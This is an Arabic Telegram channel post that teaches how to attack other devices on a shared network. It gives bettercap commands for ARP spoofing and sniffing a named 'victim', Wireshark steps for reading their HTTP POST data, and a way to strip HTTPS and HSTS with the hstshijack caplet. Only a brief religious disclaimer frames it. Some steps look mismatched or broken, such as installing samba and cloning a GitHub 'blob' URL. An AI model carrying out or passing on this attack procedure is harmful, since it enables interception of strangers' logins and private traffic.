Telegram-канал sadamalsharabi - منظومة الهكر والاختراقات: Unsorted

منظومة الهكر والاختراقات

02 November 2024 14:27

اختراق المتصلين معك بنفس الشبكة اول خطوة نكتب امر التثبيت
pkg install samba
وبعد ذالك نكتب امر

لاستخدام هذه الأداة.
لمعرفة العملاء المتصلين بنفس الشبكة
net probe on

لإظهار جميع الأجهزة المتصلة بشبكتك
net show

لبدء عملية انتحال عنوان IP
help arp.spoof

الآن نقوم بعمل وكيل للاتصال كما نريد أن يعرف الضحية أننا البوابة ولكننا لا نريد أن تعرف البوابة أننا نستهدفها حتى نتمكن من الحصول على ردود.

set arp.spoof.fullduplex true

لتحديد عنوان IP للضحية الذي نريد استهدافه ، ما عليك سوى ملء الفراغات "bla" بالأرقام.

set arp.spoof.targets bla.bla.bla.bla

لبدء الهجوم الساخر
arp spoof on

لالتقاط بيانات الضحية المعروف أيضًا باسم "الاستنشاق" net sniff on

نستخدم الآن WireShark وهي أداة تلتقط معلومات الضحية وتقوم بفك تشفيرها في ملف يسهل قراءته من قبل المستخدم لتشغيل البرنامج ، كل ما عليك فعله هو كتابة “wireshark” على محطة طرفية جديدة أخرى.

الآن لإطلاق الهجوم على الواجهة المطلوبة ، حدد "etho" ولاحظ حركة المرور ، واختر موقعًا وأوقف حركة المرور ثم اكتب "http" على الفلتر.

الآن هو وقت الاختبار !!! لذلك كل ما عليك فعله هو الانتقال إلى أي موقع ويب "http" وليس "https" وبعد ذلك يمكنك إدخال بعض البيانات والتحقق من حزم "POST" لمعرفة كيف تم استنشاق بياناتك وإرسالها إلى المتسلل.

حتى الآن بعد تعلم كيفية استخدامه على http. سوف نتعلم كيفية الرجوع إلى إصدار أقدم من أي موقع ويب مثل "https" و "hsts" إلى "http". نبدأ بالذهاب إلى الدليل أدناه وحذف الملف المسمى "hstshihack" /usr/share/bettercap/caplets

نقوم الآن بتنزيل الملف الجديد عن طريق استنساخ مستودع جيثب الخاص بأداة "hstshijack".

git clone https://github.com/The-Assembly/Intro-to-Ethical-Hacking/blob/master/hstshijack/

بعد ذلك ، نذهب إلى ملف التنزيلات ونقطع الملف المسمى "hstshijack" ونلصقه بدلاً من الملف السابق متتبعًا هذا المسار/usr/share/bettercap/caplets

أخيرًا ، لاستخدام الأداة ، يتعين علينا كتابة الجهاز واتباع الخطوات المذكورة أعلاه بدءًا من الرقم 3 لتنفيذ الهجوم. hstshijack/hstshijack

انا بريء من كل شخص يستخدم الاداة بشي يغضب اللّه

المصدر

@termuxalsharabi